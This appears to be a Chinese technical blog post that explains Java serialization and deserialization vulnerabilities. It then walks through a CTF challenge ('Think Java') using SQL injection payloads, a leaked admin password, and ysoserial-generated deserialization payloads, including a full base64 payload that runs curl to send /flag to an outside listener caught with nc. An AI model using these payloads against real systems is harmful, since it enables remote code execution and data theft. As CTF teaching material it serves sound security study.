WEB漏洞-反序列化之JAVA

本文探讨了Java中序列化和反序列化的应用场景,介绍了如何利用序列化进行数据持久化和网络传输。重点剖析了序列化ID在版本控制中的作用,揭示了利用恶意构造的输入进行反序列化攻击的原理。通过实例演示了漏洞触发场景和检测方法,以及如何防范ysoserial工具利用,最终展示了针对序列化安全问题的防御措施和解决思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

定义

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对
象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
我们可以把对象序列化为不同的格式,比如说,Json序列化、XML序列化、二进制序列化、SOAP序列化等,以上这些不同的格式也都是为了适应具体的业务需求。
在这里插入图片描述

用途

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
在网络上传送对象的字节序列。

应用场景

  1. 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。
比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

Java中的序列化和反序列化API实现

Java.io.ObjectOutputStream
java.io.ObjectInputStream
序列化:  ObjectOutputStream类 --> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 --> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码

writeObject()

import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/
public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "666";

        // 将序列化对象写入文件object.txt中
        FileOutputStream fos = new FileOutputStream("C:\\Users\\lenovo\\Desktop\\object.txt");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件object.txt中读取数据
        FileInputStream fis = new FileInputStream("C:\\Users\\lenovo\\Desktop\\object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复对象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }

}

object.ser
在这里插入图片描述
我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。
Java输出流FileOutputStream使用详解
ObjectOutputStream:对象的序列化流

Serializable和Externalizable

实现Serializable和Externalizable接口的类的对象才能被序列化。

Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  
对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。
  
  
我们创建一个Person接口,然后写两个方法:
   序列化方法: 创建一个Person实例,调用函数为其三个成员变量赋值,通过writeObject方法把该对象序列化,写入Person.txt文件中
   反序列化方法:调用readObject方法,返回一个经过反序列化处理的对象
在测试主类里面,我们先序列化Person实例对象,然后又反序列化该对象,最后调用函数获取各个成员变量的值。
示例代码:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {

    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    private int age;
    private String name;
    private String sex;
    
    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 测试对象的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person对象
        Person p = DeserializePerson();//反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person对象
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("hacker");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons对象
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功!");
        return person;
    }

}

序列化ID的作用

序列化ID起着关键的作用,java的序列化机制是通过在运行时判断类的serialVersionUID来验证版本一致性的。反序列化时,JVM会把传来的字节流中的serialVersionUID与本地实体类中的serialVersionUID进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。

漏洞原理

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

漏洞挖掘

漏洞触发场景

在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
HTTP请求中的参数,cookies以及Parameters。
RMI协议,被广泛使用的RMI协议完全基于序列化
JMX 同样用于处理序列化对象
自定义协议 用来接收与发送原始的java对象

挖掘方法

(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。
一般可以通过以下方法进行查找:
源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-8eb5cbfbf6-1.jar ysoserial.GeneratePayload Hibernate1 “calc.exe” > x.bin

[网鼎杯 2020 朱雀组]Think Java

在这里插入图片描述

1、这里导入了springframework包,springframework 是spring 里面的一个开源框架,Swagger UI:提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。扫描得到swagger-ui.html
在这里插入图片描述

存在三个路由
2、审计源码发现sqlDict类中有个sql注入
在这里插入图片描述
在这里插入图片描述
先去sql注入的/common/test/sqlDict看看
首先要保证。连接数据库的时候不报错
jdbc类似URL解析。所以当我们输入myapp#' union select 1#
#在URL中是锚点。所以

jdbc:mysql://mysqldbserver:3306/myapp#' union select 1#
会被解析成
jdbc:mysql://mysqldbserver:3306/myapp

再带入sql语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1#' and table_name='" + TableName + "'
第一个#被单引号包裹。成了普通的#字符。第二个#注释掉了后面的语句。造成sql注入

myapp为数据库名在如下代码审计发现的
在这里插入图片描述

3、payload后,发现在下处回显
在这里插入图片描述
4、爆数据表
payload

myapp#' union select ( select group_concat(table_name) from information_schema.tables where table_schema='myapp')#

在这里插入图片描述

5、爆列
payload

myapp#' union select ( select group_concat(column_name) from information_schema.columns where table_name='user')#

在这里插入图片描述

6、爆数据
payload

myapp#' union select ( select group_concat(name) from user)#
myapp#' union select ( select group_concat(pwd) from user)#

在这里插入图片描述
在这里插入图片描述
7、把用户密码注出来 admin/admin@Rrrr_ctf_asde 拿去登录
在这里插入图片描述

8、发现响应头里有一段经过base64编码的java反序列化的内容
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
在这里插入图片描述

9、分析数据:
先利用 py2 脚本 base64 解密数据

import base64
a =
"rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)

没有python2,也可以用python3代码

import base64
url="rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
str_url = base64.b64decode(url)
print(str_url.hex())

10、再利用 SerializationDumper 解析数据
java -jar SerializationDumper.jar base64 后的数据
在这里插入图片描述

11、 生成反序列化 payload
解密后数据中包含帐号等信息,通过接口/common/user/current 分析可知数据有接受,说明存在反
序列化操作,思路:将恶意代码进行序列化后进行后续操作
在这里插入图片描述

12、利用 ysoserial 进行序列化生成

java -jar ysoserial-master-8eb5cbfbf6-1.jar ROME "curl http://xx:4444 -d @/flag" > lsc.bin

13、利用 py2或py3 脚本进行反序列化数据的提取

import base64
file = open("lsc.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAa+yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKmN1cmwgaHR0cDovLzE5Mi4xNjguMjI0LjEzMTo0NDQ0IC1kIEAvZmxhZwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjkxNzE1MzAzMDg1MzAwAQAfTHlzb3NlcmlhbC9Qd25lcjkxNzE1MzAzMDg1MzAwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AFwAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmpxAH4ACXhwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHEAfgAUc3IAKmNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLlRvU3RyaW5nQmVhbgn1jkoPI+4xAgACTAAKX2JlYW5DbGFzc3EAfgAcTAAEX29ianEAfgAJeHBxAH4AH3EAfgAUc3EAfgAbdnEAfgACcQB+AA1zcQB+ACBxAH4AI3EAfgANcQB+AAZxAH4ABnEAfgAGeA==

在这里插入图片描述

14、 触发反序列化,获取 flag
在这里插入图片描述

14、服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作
在这里插入图片描述
但是不知道为什么一直监听不到

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值